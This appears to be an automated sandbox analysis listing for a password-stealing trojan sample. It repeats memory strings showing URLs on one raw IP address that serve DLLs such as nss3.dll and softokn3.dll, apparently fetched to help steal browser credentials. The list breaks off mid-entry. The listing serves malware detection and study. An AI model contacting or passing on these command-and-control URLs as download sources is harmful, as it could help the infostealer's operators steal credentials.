Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll%
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll0
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll4x2
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246835134.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247464359.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247342460.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233559298.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247220737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247710001.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll7
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dlll
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dlllt
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dllo
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dllq
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dllteF
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dllu8
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247833378.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248395447.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000061E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247585846.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248000293.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2208093450.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2207244687.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000068C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll;
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2208093450.000000000064D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dllF
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2208093450.000000000064D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dllZ
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2208093450.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2207244687.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000068C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dllo
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2208093450.000000000064D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll~
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246835134.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186791851.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247464359.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247342460.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233559298.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll0
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll4x2
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dlld
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000647000.00000004.00000020.00020000.00000000.sdmp, 